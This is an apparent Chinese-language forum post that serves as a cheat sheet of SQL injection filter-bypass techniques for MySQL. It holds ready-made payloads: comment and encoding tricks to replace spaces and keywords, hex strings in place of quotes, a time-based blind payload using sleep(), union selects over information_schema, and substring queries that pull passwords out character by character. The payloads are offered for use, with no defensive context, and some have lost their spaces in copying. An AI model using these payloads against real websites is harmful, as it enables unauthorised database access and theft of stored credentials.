查看: 395|回复: 0

    SQL注入绕过

    [复制链接]

    281

    主题

    281

    帖子

    628

    积分

    管理员

    Rank: 9Rank: 9Rank: 9

    积分
    628
    发表于 2022-4-20 14:20:44 | 显示全部楼层 |阅读模式
    SQL注入绕过
    1.绕过空格(注释符/* */,%a0)

    1. %20 %09 %0a %0b %0c %0d %a0 %00 /**//*!*/最基本的绕过方法,用注释替换空格:
    2. /* 注释 */
    3. 使用浮点数:
    4. 列如
    5. select * fromuserswhereid=8E0unionselect1,2,3select * fromuserswhereid=8.0select1,2,3
    复制代码
    2.括号绕过空格
    1. 如果空格被过滤,括号没有被过滤,可以用括号绕过。在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。
    2. 而括号的两端,可以没有多余的空格。例如:
    3. select(user())from dual where(1=1)and(2=2)这种过滤方法常常用于time based盲注,例如:
    4. ?id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23(from for属于逗号绕过下面会有)上面的方法既没有逗号也没有空格。
    5. 猜解database()第一个字符ascii码是否为109,若是则加载延时。
    复制代码
    3.引号绕过(使用十六进制)
    1. 会使用到引号的地方一般是在最后的where子句中。如下面的一条sql语句,这条语句就是一个简单
    2. 的用来查选得到users表中所有字段的一条语句:
    3. select column_name from information_schema.tables where table_name="users"这个时候如果引号被过滤了,
    4. 那么上面的where子句就无法使用了。那么遇到这样的问题就要使用十六进制来处理这个问题了。
    5. users的十六进制的字符串是7573657273。那么最后的sql语句就变为了:
    6. select column_name from information_schema.tables where table_name=0x7573657273
    复制代码
    4.逗号绕过(使用from或者offset)
    1. 在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。
    2. 对于substr()和mid()这两个方法可以使用from to的方式来解决:
    3. selectsubstr(database() from1for1);selectmid(database() from1for1);使用join:
    4. union select1,2#等价于unionselect * from (select1)a join (select2)b使用like:
    5. selectascii(mid(user(),1,1))=80#等价于selectuser() like'r%'对于limit可以使用offset来绕过:
    6. select * from news limit0,1# 等价于下面这条SQL语句
    7. select * from news limit1offset0
    复制代码
    5.比较符号(<>)绕过(过滤了<>:sqlmap盲注经常使用<>,使用between的脚本)
    1. 使用greatest()、least():(前者返回最大值,后者返回最小值)同样是在使用盲注的时候,
    2. 在使用二分查找的时候需要使用到比较操作符来进行查找。如果无法使用比较操作符,
    3. 那么就需要使用到greatest来进行绕过了。最常见的一个盲注的sql语句:
    4. select * fromuserswhereid=1andascii(substr(database(),0,1))>64此时如果比较操作符被过滤,
    5. 上面的盲注语句则无法使用,那么就可以使用greatest来代替比较操作符了。greatest(n1,n2,n3,...)函数返回输入参数(n1,n2,n3,...)的最大值。
    6. 那么上面的这条sql语句可以使用greatest变为如下的子句:  
    7. select * fromuserswhereid=1andgreatest(ascii(substr(database(),0,1)),64)=64使用
    8. between and:between a and b:返回a,b之间的数据,不包含b。   
    复制代码
    6.or and xor not绕过
    1. and=&& or=|| xor=| not=!
    复制代码
    7.绕过注释符号(#,--(后面跟一个空格))过滤
    1. id=1' union select1,2,3||'1最后的or '1闭合查询语句的最后的单引号,或者:
    2. id=1' union select1,2,'3
    复制代码
    8.=绕过
    1. 使用like 、rlike 、regexp 或者 使用< 或者 >
    复制代码
    9.绕过union,select,where等
    (1)使用注释符绕过
    1.        常用注释符:
    2.        //,-- , /**/, #, --+, -- -, ;,%00,--a用法:
    3.        U/**/ NION /**/ SE/**/ LECT /**/user,pwd from user
    复制代码
           (2)使用大小写绕过
    1.        id=-1'UnIoN/**/SeLeCT
    复制代码
           (3)内联注释绕过
    1.         id=-1'/*!UnIoN*/SeLeCT1,2,concat(/*!table_name*/) FrOM/*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/likedatabase()#
    复制代码
           (4) 双关键字绕过(若删除掉第一个匹配的union就能绕过)

    1.         id=-1'UNIunionONSeLselectECT1,2,3–-
    复制代码
    10.通用绕过(编码)
    1. 如URLEncode编码,ASCII,HEX,unicode编码绕过:
    2. or 1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
    复制代码
    11.等价函数绕过
    1. hex()、bin() ==> ascii()sleep() ==>benchmark()concat_ws()==>group_concat()
    2. mid()、substr() ==> substring()@@user ==> user()@@datadir ==> datadir()举例:substring()和substr()无法使用时:
    3. ?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74或者:
    4. substr((select'password'),1,1) = 0x70strcmp(left('password',1), 0x69) =
    5. 1strcmp(left('password',1), 0x70) = 0strcmp(left('password',1), 0x71) = -1
    复制代码




    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    QQ|手机版|小黑屋|依星源码资源网-分享编程干货的网站 ( 鲁ICP备2021043233号-3 )

    GMT+8, 2023-6-10 20:15

    邮箱:312337667@qq.com 客服QQ:312337667(工作时间:7:00~23:00)

    © Powered by Net188.com X3.4

    快速回复 返回顶部 返回列表